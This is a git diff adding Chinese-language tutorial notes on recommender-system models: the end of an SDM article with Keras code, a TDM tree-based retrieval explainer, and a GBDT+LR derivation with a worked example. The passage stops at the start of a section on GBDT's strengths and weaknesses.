+    # print(prefer_output.shape)   # (None, 1, 32)
+    
+    # 短期行为序列编码
+    short_sess_length = user_input_layer_dict['short_sess_length']
+    short_emb_concat = concat_func(short_emb_list)   # (None, 5, 64)   这里注意下， 对于短期序列，描述item的side info信息进行了拼接
+    short_emb_input = Dense(units, activation=dnn_activation, name='short_emb_input')(short_emb_concat)  # (None, 5, 32)
+    # 过rnn 这里的return_sequence=True， 每个时间步都需要输出h
+    short_rnn_output = DynamicMultiRNN(num_units=units, return_sequence=True, num_layers=rnn_layers, 
+                                       num_residual_layers=rnn_num_res,   # 这里竟然能用到残差
+                                       dropout_rate=dropout_rate)([short_emb_input, short_sess_length])
+    # print(short_rnn_output) # (None, 5, 32)
+    # 过MultiHeadAttention  # (None, 5, 32)
+    short_att_output = MultiHeadAttention(num_units=units, head_num=num_head, dropout_rate=dropout_rate)([short_rnn_output, short_sess_length]) # (None, 5, 64)
+    # user_attention # (None, 1, 32)
+    short_output = UserAttention(num_units=units, activation=dnn_activation, use_res=True, dropout_rate=dropout_rate)([user_emb_output, short_att_output, short_sess_length])
+    
+    # 门控融合
+    gated_input = concat_func([prefer_output, short_output, user_emb_output])
+    gate = Dense(units, activation='sigmoid')(gated_input)   # (None, 1, 32)
+    
+    # temp = tf.multiply(gate, short_output) + tf.multiply(1-gate, prefer_output)  感觉这俩一样？
+    gated_output = Lambda(lambda x: tf.multiply(x[0], x[1]) + tf.multiply(1-x[0], x[2]))([gate, short_output, prefer_output])  # [None, 1,32]
+    gated_output_reshape = Lambda(lambda x: tf.squeeze(x, 1))(gated_output)  # (None, 32)  这个维度必须要和docembedding层的维度一样，否则后面没法sortmax_loss
+    
+    # 接下来
+    item_embedding_matrix = embedding_layer_dict[item_feature_name]  # 获取doc_id的embedding层
+    item_index = EmbeddingIndex(list(range(item_vocabulary_size)))(item_input_layer_dict[item_feature_name]) # 所有doc_id的索引
+    item_embedding_weight = NoMask()(item_embedding_matrix(item_index))  # 拿到所有item的embedding
+    pooling_item_embedding_weight = PoolingLayer()([item_embedding_weight])  # 这里依然是当可能不止item_id，或许还有brand_id, cat_id等，需要池化
+    
+    # 这里传入的是整个doc_id的embedding， user_embedding, 以及用户点击的doc_id，然后去进行负采样计算损失操作
+    output = SampledSoftmaxLayer(num_sampled)([pooling_item_embedding_weight, gated_output_reshape, item_input_layer_dict[item_feature_name]])
+    
+    model = Model(inputs=user_input_layers+item_input_layers, outputs=output)
+    
+    # 下面是等模型训练完了之后，获取用户和item的embedding
+    model.__setattr__("user_input", user_input_layers)
+    model.__setattr__("user_embedding", gated_output_reshape)  # 用户embedding是取得门控融合的用户向量
+    model.__setattr__("item_input", item_input_layers)
+    # item_embedding取得pooling_item_embedding_weight, 这个会发现是负采样操作训练的那个embedding矩阵
+    model.__setattr__("item_embedding", get_item_embedding(pooling_item_embedding_weight, item_input_layer_dict[item_feature_name]))
+    return model
+```
+函数式API搭建模型的方式，首先我们需要传入封装好的用户特征描述以及item特征描述，比如：
+
+```python
+# 建立模型
+user_feature_columns = [
+    SparseFeat('user_id', feature_max_idx['user_id'], 16),
+    SparseFeat('gender', feature_max_idx['gender'], 16),
+     SparseFeat('age', feature_max_idx['age'], 16),
+    SparseFeat('city', feature_max_idx['city'], 16),
+        
+    VarLenSparseFeat(SparseFeat('short_doc_id', feature_max_idx['article_id'], embedding_dim, embedding_name="doc_id"), SEQ_LEN_short, 'mean', 'short_sess_length'),    
+    VarLenSparseFeat(SparseFeat('prefer_doc_id', feature_max_idx['article_id'], embedding_dim, embedding_name='doc_id'), SEQ_LEN_prefer, 'mean', 'prefer_sess_length'),
+    VarLenSparseFeat(SparseFeat('short_cat1', feature_max_idx['cat_1'], embedding_dim, embedding_name='cat_1'), SEQ_LEN_short, 'mean', 'short_sess_length'),
+    VarLenSparseFeat(SparseFeat('prefer_cat1', feature_max_idx['cat_1'], embedding_dim, embedding_name='cat_1'), SEQ_LEN_prefer, 'mean', 'prefer_sess_length'),
+    VarLenSparseFeat(SparseFeat('short_cat2', feature_max_idx['cat_2'], embedding_dim, embedding_name='cat_2'), SEQ_LEN_short, 'mean', 'short_sess_length'),
+    VarLenSparseFeat(SparseFeat('prefer_cat2', feature_max_idx['cat_2'], embedding_dim, embedding_name='cat_2'), SEQ_LEN_prefer, 'mean', 'prefer_sess_length'),
+    ]
+
+item_feature_columns = [SparseFeat('doc_id', feature_max_idx['article_id'], embedding_dim)]
+```
+这里需要注意的一个点是短期和长期序列的名字，必须严格的`short_， prefer_`进行标识，因为在模型搭建的时候就是靠着这个去找到短期和长期序列特征的。
+
+逻辑其实也比较清晰，首先是建立Input层，然后是embedding层， 接下来，根据命名选择出用户的base特征列， 短期行为序列和长期行为序列。长期序列的话是过`AttentionPoolingLayer`层进行编码，这里本质上注意力然后融合，但这里注意的一个点就是for循环，也就是长期序列行为里面的特征列，比如商品，cat_1, cat_2是for循环的形式求融合向量，再拼接起来过DNN，和论文图保持一致。
+
+短期序列编码部分，是`item_embedding,cat_1embedding， cat_2embedding`拼接起来，过`DynamicMultiRNN`层学习序列信息， 过`MultiHeadAttention`学习多兴趣，最后过`UserAttentionLayer`进行向量融合。 接下来，长期兴趣向量和短期兴趣向量以及用户base向量，过门控融合机制，得到最终的`user_embedding`。
+
+而后面的那块是为了模型训练完之后，拿用户embedding和item embedding用的， 这个在MIND那篇文章里作了解释。
+
+## 总结
+今天整理的是SDM，这也是一个标准的序列推荐召回模型，主要还是研究用户的序列，不过这篇paper里面一个有意思的点就是把用户的行为训练以会话的形式进行切分，然后再根据时间，分成了短期会话和长期会话，然后分别采用不同的策略去学习用户的短期兴趣和长期兴趣。
+* 对于短期会话，可能和当前预测相关性较大，所以首先用RNN来学习序列信息，然后采用多头注意力机制得到用户的多兴趣， 隐隐约约感觉多头注意力机制还真有种能聚类的功效，接下来就是和用户的base向量进行注意力融合得到短期兴趣
+* 长期会话序列中，每个side info信息进行分开，然后分别进行注意力编码融合得到
+
+为了使得长期会话中对当前预测有用的部分得以体现，在融合短期兴趣和长期兴趣的时候，采用了门控的方式，而不是普通的拼接或者加和等操作，使得兴趣保留信息变得**有选择**。 
+
+这其实就是这篇paper的故事了，借鉴的地方首先是多头注意力机制也能学习到用户的多兴趣， 这样对于多兴趣，就有了胶囊网络与多头注意力机制两种思路。 而对于两个向量融合，这里又给我们提供了一种门控融合机制。
+
+
+**参考**：
+
+* SDM原论文
+* [AI上推荐 之 SDM模型(建模用户长短期兴趣的Match模型)](https://blog.csdn.net/wuzhongqiang/article/details/123856954?spm=1001.2014.3001.5501)
+* [一文读懂Attention机制](https://zhuanlan.zhihu.com/p/129316415)
+* [【推荐系统经典论文(十)】阿里SDM模型](https://zhuanlan.zhihu.com/p/137775247?from_voters_page=true)
+* [SDM-深度序列召回模型](https://zhuanlan.zhihu.com/p/395673080)
+* [推荐广告中的序列建模](https://blog.csdn.net/qq_41010971/article/details/123762312?spm=1001.2014.3001.5501)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.5/TDM.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.5/TDM.md
new file mode 100644
index 0000000..51fffdd
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.5/TDM.md
@@ -0,0 +1,65 @@
+# 背景和目的
+
+召回早前经历的第一代协同过滤技术，让模型可以在数量级巨大的item集中找到用户潜在想要看到的商品。这种方式有很明显的缺点，一个是对于用户而言，只能通过他历史行为去构建候选集，并且会基于算力的局限做截断。所以推荐结果的多样性和新颖性比较局限，导致推荐的有可能都是用户看过的或者买过的商品。之后在Facebook开源了FASSI库之后，基于内积模型的向量检索方案得到了广泛应用，也就是第二代召回技术。这种技术通过将用户和物品用向量表示，然后用内积的大小度量兴趣，借助向量索引实现大规模的全量检索。这里虽然改善了第一代的无法全局检索的缺点，然而这种模式下存在索引构建和模型优化目标不一致的问题，索引优化是基于向量的近似误差，而召回问题的目标是最大化topK召回率。且这类方法也不方便在用户和物品之间做特征组合。
+
+所以阿里开发了一种可以承载各种深度模型来检索用户潜在兴趣的推荐算法解决方案。这个TDM模型是基于树结构，利用树结构对全量商品进行检索，将复杂度由O(N)下降到O(logN)。
+
+# 模型结构
+
+**树结构**
+
+<div align=center> 
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220420213149324.png" alt="image-20210308142624189" style="zoom: 15%;" /> 
+</div>
+
+如上图，树中的每一个叶子节点对应一个商品item，非叶子结点表示的是item的集合**（这里的树不限于二叉树）**。这种层次化结构体现了粒度从粗到细的item架构。
+
+**整体结构**
+
+<div align=center> 
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220420200433442.png" alt="image-20210308142624189" style="zoom: 70%;" /> 
+</div>
+
+# 算法详解
+
+1. 基于树的高效检索
+
+    算法通常采用beam-search的方法，根据用户对每层节点挑选出topK，将挑选出来的这几个topK节点的子节点作为下一层的候选集，最终会落到叶子节点上。
+    这么做的理论依据是当前层的最有优topK节点的父亲必然属于上次的父辈节点的最优topK：
+    $$
+    p^{(j)}(n|u) = {{max \atop{n_{c}\in{\{n's children nodes in level j+1\}}}}p^{(j+1)}(n_{c}|u) \over {\alpha^{j}}}
+    $$
+    其中$p^{(j)}(n|u)$表示用户u对j层节点n感兴趣的概率，$\alpha^{j}$表示归一化因子。
+
+2. 对兴趣进行建模
+
+    <div align=center> 
+    <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220420214040264.png" alt="image-20210308142624189" style="zoom: 50%;" /> 
+    </div>
+
+   ​如上图，用户对叶子层item6感兴趣，可以认为它的兴趣是1，同层别的候选节点的兴趣为0，顺着着绿色线路上去的节点都标记为1，路线上的同层别的候选节点都标记为0。这样的操作就可以根据1和0构建用于每一层的正负样本。
+
+   样本构建完成后，可以在模型结构左侧采用任意的深度学习模型来承担用户兴趣判别器的角色，输入就是当前层构造的正负样本，输出则是（用户，节点）对的兴趣度，这个将被用作检索过程中选取topK的评判指标。**在整体结构图中，我们可以看到节点特征方面，使用的是node embedding**，说明在进入模型前已经向量化了。
+
+3. 训练过程
+
+    <div align=center> 
+    <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220420220831318.png" alt="image-20210308142624189" style="zoom: 15%;" /> 
+    </div>
+
+   整体联合训练的方式如下：
+
+   1. 构造随机二叉树
+   2. 基于树模型生成样本
+   3. 训练DNN模型直到收敛
+   4. 基于DNN模型得到样本的Embedding，重新构造聚类二叉树
+   5. 循环上述2～4过程
+
+   ​具体的，在初始化树结构的时候，首先借助商品的类别信息进行排序，将相同类别的商品放到一起，然后递归的将同类别中的商品等量的分到两个子类中，直到集合中只包含一项，利用这种自顶向下的方式来初始化一棵树。基于该树采样生成深度模型训练所需的样本，然后进一步训练模型，训练结束之后可以得到每个树节点对应的Embedding向量，利用节点的Embedding向量，采用K-Means聚类方法来重新构建一颗树，最后基于这颗新生成的树，重新训练深层网络。
+
+**参考资料**
+
+- [阿里妈妈深度树检索技术(TDM) 及应用框架的探索实践](https://mp.weixin.qq.com/s/sw16_sUsyYuzpqqy39RsdQ)
+- [阿里TDM：Tree-based Deep Model](https://zhuanlan.zhihu.com/p/78941783)
+- [阿里妈妈TDM模型详解](https://zhuanlan.zhihu.com/p/93201318)
+- [Paddle TDM 模型实现](https://github.com/PaddlePaddle/PaddleRec/blob/master/models/treebased/README.md)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.1.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.1.md
new file mode 100644
index 0000000..57cbb5d
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.1.md
@@ -0,0 +1,352 @@
+### GBDT+LR简介
+
+前面介绍的协同过滤和矩阵分解存在的劣势就是仅利用了用户与物品相互行为信息进行推荐， 忽视了用户自身特征， 物品自身特征以及上下文信息等，导致生成的结果往往会比较片面。 而这次介绍的这个模型是2014年由Facebook提出的GBDT+LR模型， 该模型利用GBDT自动进行特征筛选和组合， 进而生成新的离散特征向量， 再把该特征向量当做LR模型的输入， 来产生最后的预测结果， 该模型能够综合利用用户、物品和上下文等多种不同的特征， 生成较为全面的推荐结果， 在CTR点击率预估场景下使用较为广泛。
+
+下面首先会介绍逻辑回归和GBDT模型各自的原理及优缺点， 然后介绍GBDT+LR模型的工作原理和细节。
+
+### 逻辑回归模型
+
+逻辑回归模型非常重要， 在推荐领域里面， 相比于传统的协同过滤， 逻辑回归模型能够综合利用用户、物品、上下文等多种不同的特征生成较为“全面”的推荐结果， 关于逻辑回归的更多细节， 可以参考下面给出的链接，这里只介绍比较重要的一些细节和在推荐中的应用。
+
+逻辑回归是在线性回归的基础上加了一个 Sigmoid 函数（非线形）映射，使得逻辑回归成为了一个优秀的分类算法， 学习逻辑回归模型， 首先应该记住一句话：**逻辑回归假设数据服从伯努利分布,通过极大化似然函数的方法，运用梯度下降来求解参数，来达到将数据二分类的目的。**  
+
+相比于协同过滤和矩阵分解利用用户的物品“相似度”进行推荐， 逻辑回归模型将问题看成了一个分类问题， 通过预测正样本的概率对物品进行排序。这里的正样本可以是用户“点击”了某个商品或者“观看”了某个视频， 均是推荐系统希望用户产生的“正反馈”行为， 因此**逻辑回归模型将推荐问题转化成了一个点击率预估问题**。而点击率预测就是一个典型的二分类， 正好适合逻辑回归进行处理， 那么逻辑回归是如何做推荐的呢？ 过程如下：
+1. 将用户年龄、性别、物品属性、物品描述、当前时间、当前地点等特征转成数值型向量
+2. 确定逻辑回归的优化目标，比如把点击率预测转换成二分类问题， 这样就可以得到分类问题常用的损失作为目标， 训练模型
+3. 在预测的时候， 将特征向量输入模型产生预测， 得到用户“点击”物品的概率
+4. 利用点击概率对候选物品排序， 得到推荐列表
+
+推断过程可以用下图来表示：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20200909215410263.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:55%;" />
+</div>
+
+这里的关键就是每个特征的权重参数$w$， 我们一般是使用梯度下降的方式， 首先会先随机初始化参数$w$， 然后将特征向量（也就是我们上面数值化出来的特征）输入到模型， 就会通过计算得到模型的预测概率， 然后通过对目标函数求导得到每个$w$的梯度， 然后进行更新$w$
+
+这里的目标函数长下面这样：
+
+$$
+J(w)=-\frac{1}{m}\left(\sum_{i=1}^{m}\left(y^{i} \log f_{w}\left(x^{i}\right)+\left(1-y^{i}\right) \log \left(1-f_{w}\left(x^{i}\right)\right)\right)\right.
+$$
+求导之后的方式长这样：
+$$
+w_{j} \leftarrow w_{j}-\gamma \frac{1}{m} \sum_{i=1}^{m}\left(f_{w}\left(x^{i}\right)-y^{i}\right) x_{j}^{i}
+$$
+这样通过若干次迭代， 就可以得到最终的$w$了， 关于这些公式的推导，可以参考下面给出的文章链接， 下面我们分析一下逻辑回归模型的优缺点。
+
+**优点：**
+1. LR模型形式简单，可解释性好，从特征的权重可以看到不同的特征对最后结果的影响。
+2. 训练时便于并行化，在预测时只需要对特征进行线性加权，所以**性能比较好**，往往适合处理**海量id类特征**，用id类特征有一个很重要的好处，就是**防止信息损失**（相对于范化的 CTR 特征），对于头部资源会有更细致的描述
+3. 资源占用小,尤其是内存。在实际的工程应用中只需要存储权重比较大的特征及特征对应的权重。
+4. 方便输出结果调整。逻辑回归可以很方便的得到最后的分类结果，因为输出的是每个样本的概率分数，我们可以很容易的对这些概率分数进行cutoff，也就是划分阈值(大于某个阈值的是一类，小于某个阈值的是一类)
+
+**当然， 逻辑回归模型也有一定的局限性**
+1. 表达能力不强， 无法进行特征交叉， 特征筛选等一系列“高级“操作（这些工作都得人工来干， 这样就需要一定的经验， 否则会走一些弯路）， 因此可能造成信息的损失
+2. 准确率并不是很高。因为这毕竟是一个线性模型加了个sigmoid， 形式非常的简单(非常类似线性模型)，很难去拟合数据的真实分布
+3. 处理非线性数据较麻烦。逻辑回归在不引入其他方法的情况下，只能处理线性可分的数据， 如果想处理非线性， 首先对连续特征的处理需要先进行**离散化**（离散化的目的是为了引入非线性），如上文所说，人工分桶的方式会引入多种问题。
+4. LR 需要进行**人工特征组合**，这就需要开发者有非常丰富的领域经验，才能不走弯路。这样的模型迁移起来比较困难，换一个领域又需要重新进行大量的特征工程。
+
+所以如何**自动发现有效的特征、特征组合，弥补人工经验不足，缩短LR特征实验周期**，是亟需解决的问题， 而GBDT模型， 正好可以**自动发现特征并进行有效组合**
+
+### GBDT模型
+
+GBDT全称梯度提升决策树，在传统机器学习算法里面是对真实分布拟合的最好的几种算法之一，在前几年深度学习还没有大行其道之前，gbdt在各种竞赛是大放异彩。原因大概有几个，一是效果确实挺不错。二是即可以用于分类也可以用于回归。三是可以筛选特征， 所以这个模型依然是一个非常重要的模型。 
+
+GBDT是通过采用加法模型(即基函数的线性组合），以及不断减小训练过程产生的误差来达到将数据分类或者回归的算法， 其训练过程如下：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20200908202508786.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" style="zoom:65%;" />    
+</div>
+gbdt通过多轮迭代， 每轮迭代会产生一个弱分类器， 每个分类器在上一轮分类器的残差基础上进行训练。  gbdt对弱分类器的要求一般是足够简单， 并且低方差高偏差。 因为训练的过程是通过降低偏差来不断提高最终分类器的精度。 由于上述高偏差和简单的要求，每个分类回归树的深度不会很深。最终的总分类器是将每轮训练得到的弱分类器加权求和得到的（也就是加法模型）。  
+
+关于GBDT的详细细节，依然是可以参考下面给出的链接。这里想分析一下GBDT如何来进行二分类的，因为我们要明确一点就是**gbdt 每轮的训练是在上一轮的训练的残差基础之上进行训练的**， 而这里的残差指的就是当前模型的负梯度值， 这个就要求每轮迭代的时候，弱分类器的输出的结果相减是有意义的， 而**gbdt 无论用于分类还是回归一直都是使用的CART 回归树**， 那么既然是回归树， 是如何进行二分类问题的呢？ 
+
+GBDT 来解决二分类问题和解决回归问题的本质是一样的，都是通过不断构建决策树的方式，使预测结果一步步的接近目标值， 但是二分类问题和回归问题的损失函数是不同的， 关于GBDT在回归问题上的树的生成过程， 损失函数和迭代原理可以参考给出的链接， 回归问题中一般使用的是平方损失， 而二分类问题中， GBDT和逻辑回归一样， 使用的下面这个：
+
+$$
+L=\arg \min \left[\sum_{i}^{n}-\left(y_{i} \log \left(p_{i}\right)+\left(1-y_{i}\right) \log \left(1-p_{i}\right)\right)\right]
+$$
+其中， $y_i$是第$i$个样本的观测值， 取值要么是0要么是1， 而$p_i$是第$i$个样本的预测值， 取值是0-1之间的概率，由于我们知道GBDT拟合的残差是当前模型的负梯度， 那么我们就需要求出这个模型的导数， 即$\frac{dL}{dp_i}$， 对于某个特定的样本， 求导的话就可以只考虑它本身， 去掉加和号， 那么就变成了$\frac{dl}{dp_i}$， 其中$l$如下：
+$$
+\begin{aligned}
+l &=-y_{i} \log \left(p_{i}\right)-\left(1-y_{i}\right) \log \left(1-p_{i}\right) \\
+&=-y_{i} \log \left(p_{i}\right)-\log \left(1-p_{i}\right)+y_{i} \log \left(1-p_{i}\right) \\
+&=-y_{i}\left(\log \left(\frac{p_{i}}{1-p_{i}}\right)\right)-\log \left(1-p_{i}\right)
+\end{aligned}
+$$
+如果对逻辑回归非常熟悉的话，  $\left(\log \left(\frac{p_{i}}{1-p_{i}}\right)\right)$一定不会陌生吧， 这就是对几率比取了个对数， 并且在逻辑回归里面这个式子会等于$\theta X$， 所以才推出了$p_i=\frac{1}{1+e^-{\theta X}}$的那个形式。 这里令$\eta_i=\frac{p_i}{1-p_i}$, 即$p_i=\frac{\eta_i}{1+\eta_i}$, 则上面这个式子变成了：
+
+$$
+\begin{aligned}
+l &=-y_{i} \log \left(\eta_{i}\right)-\log \left(1-\frac{e^{\log \left(\eta_{i}\right)}}{1+e^{\log \left(\eta_{i}\right)}}\right) \\
+&=-y_{i} \log \left(\eta_{i}\right)-\log \left(\frac{1}{1+e^{\log \left(\eta_{i}\right)}}\right) \\
+&=-y_{i} \log \left(\eta_{i}\right)+\log \left(1+e^{\log \left(\eta_{i}\right)}\right)
+\end{aligned}
+$$
+ 这时候，我们对$log(\eta_i)$求导， 得
+$$
+\frac{d l}{d \log (\eta_i)}=-y_{i}+\frac{e^{\log \left(\eta_{i}\right)}}{1+e^{\log \left(\eta_{i}\right)}}=-y_i+p_i
+$$
+这样， 我们就得到了某个训练样本在当前模型的梯度值了， 那么残差就是$y_i-p_i$。GBDT二分类的这个思想，其实和逻辑回归的思想一样，**逻辑回归是用一个线性模型去拟合$P(y=1|x)$这个事件的对数几率$log\frac{p}{1-p}=\theta^Tx$**， GBDT二分类也是如此， 用一系列的梯度提升树去拟合这个对数几率， 其分类模型可以表达为：
+$$
+P(Y=1 \mid x)=\frac{1}{1+e^{-F_{M}(x)}}
+$$
+
+下面我们具体来看GBDT的生成过程， 构建分类GBDT的步骤有两个：
+1. 初始化GBDT
+    和回归问题一样， 分类 GBDT 的初始状态也只有一个叶子节点，该节点为所有样本的初始预测值，如下：
+$$
+  F_{0}(x)=\arg \min _{\gamma} \sum_{i=1}^{n} L(y, \gamma)
+$$
+  	上式里面， $F$代表GBDT模型， $F_0$是模型的初识状态， 该式子的意思是找到一个$\gamma$，使所有样本的 Loss 最小，在这里及下文中，$\gamma$都表示节点的输出，即叶子节点， 且它是一个 $log(\eta_i)$ 形式的值(回归值)，在初始状态，$\gamma =F_0$。
+
+​		下面看例子(该例子来自下面的第二个链接)， 假设我们有下面3条样本：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20200910095539432.png#pic_center" alt="在这里插入图片描述" style="zoom:80%;" /> 
+</div>
+
+我们希望构建 GBDT 分类树，它能通过「喜欢爆米花」、「年龄」和「颜色偏好」这 3 个特征来预测某一个样本是否喜欢看电影。我们把数据代入上面的公式中求Loss:
+$$
+\operatorname{Loss}=L(1, \gamma)+L(1, \gamma)+L(0, \gamma)
+$$
+为了令其最小， 我们求导， 且让导数为0， 则：
+$$
+\operatorname{Loss}=p-1 + p-1+p=0
+$$
+于是， 就得到了初始值$p=\frac{2}{3}=0.67, \gamma=log(\frac{p}{1-p})=0.69$, 模型的初识状态$F_0(x)=0.69$
+
+2. 循环生成决策树
+    这里回忆一下回归树的生成步骤， 其实有4小步， 第一就是计算负梯度值得到残差， 第二步是用回归树拟合残差， 第三步是计算叶子节点的输出值， 第四步是更新模型。 下面我们一一来看：
+    
+      1. 计算负梯度得到残差
+         $$
+         r_{i m}=-\left[\frac{\partial L\left(y_{i}, F\left(x_{i}\right)\right)}{\partial F\left(x_{i}\right)}\right]_{F(x)=F_{m-1}(x)}
+         $$
+         此处使用$m-1$棵树的模型， 计算每个样本的残差$r_{im}$, 就是上面的$y_i-pi$, 于是例子中， 每个样本的残差：
+    
+         <div align=center>
+         <img src="https://img-blog.csdnimg.cn/20200910101154282.png#pic_center" alt="在这里插入图片描述" style="zoom:80%;" />
+         </div>
+    
+      2. 使用回归树来拟合$r_{im}$， 这里的$i$表示样本哈，回归树的建立过程可以参考下面的链接文章，简单的说就是遍历每个特征， 每个特征下遍历每个取值， 计算分裂后两组数据的平方损失， 找到最小的那个划分节点。 假如我们产生的第2棵决策树如下：
+    
+         <div align=center>
+         <img src="https://img-blog.csdnimg.cn/20200910101558282.png#pic_center" alt="在这里插入图片描述" style="zoom:80%;" />
+         </div>
+    
+      3. 对于每个叶子节点$j$, 计算最佳残差拟合值
+         $$
+         \gamma_{j m}=\arg \min _{\gamma} \sum_{x \in R_{i j}} L\left(y_{i}, F_{m-1}\left(x_{i}\right)+\gamma\right)
+         $$
+         意思是， 在刚构建的树$m$中， 找到每个节点$j$的输出$\gamma_{jm}$, 能使得该节点的loss最小。 那么我们看一下这个$\gamma$的求解方式， 这里非常的巧妙。 首先， 我们把损失函数写出来， 对于左边的第一个样本， 有
+         $$
+         L\left(y_{1}, F_{m-1}\left(x_{1}\right)+\gamma\right)=-y_{1}\left(F_{m-1}\left(x_{1}\right)+\gamma\right)+\log \left(1+e^{F_{m-1}\left(x_{1}\right)+\gamma}\right)
+         $$
+         这个式子就是上面推导的$l$， 因为我们要用回归树做分类， 所以这里把分类的预测概率转换成了对数几率回归的形式， 即$log(\eta_i)$， 这个就是模型的回归输出值。而如果求这个损失的最小值， 我们要求导， 解出令损失最小的$\gamma$。 但是上面这个式子求导会很麻烦， 所以这里介绍了一个技巧就是**使用二阶泰勒公式来近似表示该式， 再求导**， 还记得伟大的泰勒吗？
+         $$
+         f(x+\Delta x) \approx f(x)+\Delta x f^{\prime}(x)+\frac{1}{2} \Delta x^{2} f^{\prime \prime}(x)+O(\Delta x)
+         $$
+         这里就相当于把$L(y_1, F_{m-1}(x_1))$当做常量$f(x)$， $\gamma$作为变量$\Delta x$， 将$f(x)$二阶展开：
+         $$
+         L\left(y_{1}, F_{m-1}\left(x_{1}\right)+\gamma\right) \approx L\left(y_{1}, F_{m-1}\left(x_{1}\right)\right)+L^{\prime}\left(y_{1}, F_{m-1}\left(x_{1}\right)\right) \gamma+\frac{1}{2} L^{\prime \prime}\left(y_{1}, F_{m-1}\left(x_{1}\right)\right) \gamma^{2}
+         $$
+         这时候再求导就简单了
+         $$
+         \frac{d L}{d \gamma}=L^{\prime}\left(y_{1}, F_{m-1}\left(x_{1}\right)\right)+L^{\prime \prime}\left(y_{1}, F_{m-1}\left(x_{1}\right)\right) \gamma
+         $$
+         Loss最小的时候， 上面的式子等于0， 就可以得到$\gamma$:
+         $$
+         \gamma_{11}=\frac{-L^{\prime}\left(y_{1}, F_{m-1}\left(x_{1}\right)\right)}{L^{\prime \prime}\left(y_{1}, F_{m-1}\left(x_{1}\right)\right)}
+         $$
+         **因为分子就是残差(上述已经求到了)， 分母可以通过对残差求导，得到原损失函数的二阶导：**
+         $$
+         \begin{aligned}
+         L^{\prime \prime}\left(y_{1}, F(x)\right) &=\frac{d L^{\prime}}{d \log (\eta_1)} \\
+         &=\frac{d}{d \log (\eta_1)}\left[-y_{i}+\frac{e^{\log (\eta_1)}}{1+e^{\log (\eta_1)}}\right] \\
+         &=\frac{d}{d \log (\eta_1)}\left[e^{\log (\eta_1)}\left(1+e^{\log (\eta_1)}\right)^{-1}\right] \\
+         &=e^{\log (\eta_1)}\left(1+e^{\log (\eta_1)}\right)^{-1}-e^{2 \log (\eta_1)}\left(1+e^{\log (\eta_1)}\right)^{-2} \\
+         &=\frac{e^{\log (\eta_1)}}{\left(1+e^{\log (\eta_1)}\right)^{2}} \\
+         &=\frac{\eta_1}{(1+\eta_1)}\frac{1}{(1+\eta_1)} \\
+         &=p_1(1-p_1)
+         \end{aligned}
+         $$
+         这时候， 就可以算出该节点的输出：
+         $$
+         \gamma_{11}=\frac{r_{11}}{p_{10}\left(1-p_{10}\right)}=\frac{0.33}{0.67 \times 0.33}=1.49
+         $$
+         这里的下面$\gamma_{jm}$表示第$m$棵树的第$j$个叶子节点。 接下来是右边节点的输出， 包含样本2和样本3， 同样使用二阶泰勒公式展开：
+         $$
+         \begin{array}{l}
+         L\left(y_{2}, F_{m-1}\left(x_{2}\right)+\gamma\right)+L\left(y_{3}, F_{m-1}\left(x_{3}\right)+\gamma\right) \\
+         \approx L\left(y_{2}, F_{m-1}\left(x_{2}\right)\right)+L^{\prime}\left(y_{2}, F_{m-1}\left(x_{2}\right)\right) \gamma+\frac{1}{2} L^{\prime \prime}\left(y_{2}, F_{m-1}\left(x_{2}\right)\right) \gamma^{2} \\
+         +L\left(y_{3}, F_{m-1}\left(x_{3}\right)\right)+L^{\prime}\left(y_{3}, F_{m-1}\left(x_{3}\right)\right) \gamma+\frac{1}{2} L^{\prime \prime}\left(y_{3}, F_{m-1}\left(x_{3}\right)\right) \gamma^{2}
+         \end{array}
+         $$
+         求导， 令其结果为0，就会得到， 第1棵树的第2个叶子节点的输出：
+         $$
+         \begin{aligned}
+         \gamma_{21} &=\frac{-L^{\prime}\left(y_{2}, F_{m-1}\left(x_{2}\right)\right)-L^{\prime}\left(y_{3}, F_{m-1}\left(x_{3}\right)\right)}{L^{\prime \prime}\left(y_{2}, F_{m-1}\left(x_{2}\right)\right)+L^{\prime \prime}\left(y_{3}, F_{m-1}\left(x_{3}\right)\right)} \\
+         &=\frac{r_{21}+r_{31}}{p_{20}\left(1-p_{20}\right)+p_{30}\left(1-p_{30}\right)} \\
+         &=\frac{0.33-0.67}{0.67 \times 0.33+0.67 \times 0.33} \\
+         &=-0.77
+         \end{aligned}
+         $$
+         可以看出， 对于任意叶子节点， 我们可以直接计算其输出值：
+         $$
+         \gamma_{j m}=\frac{\sum_{i=1}^{R_{i j}} r_{i m}}{\sum_{i=1}^{R_{i j}} p_{i, m-1}\left(1-p_{i, m-1}\right)}
+         $$
+    
+      4. 更新模型$F_m(x)$
+         $$
+         F_{m}(x)=F_{m-1}(x)+\nu \sum_{j=1}^{J_{m}} \gamma_{m}
+         $$
+    
+    这样， 通过多次循环迭代， 就可以得到一个比较强的学习器$F_m(x)$
+    
+    <br>
+
+**下面分析一下GBDT的优缺点：** 
+
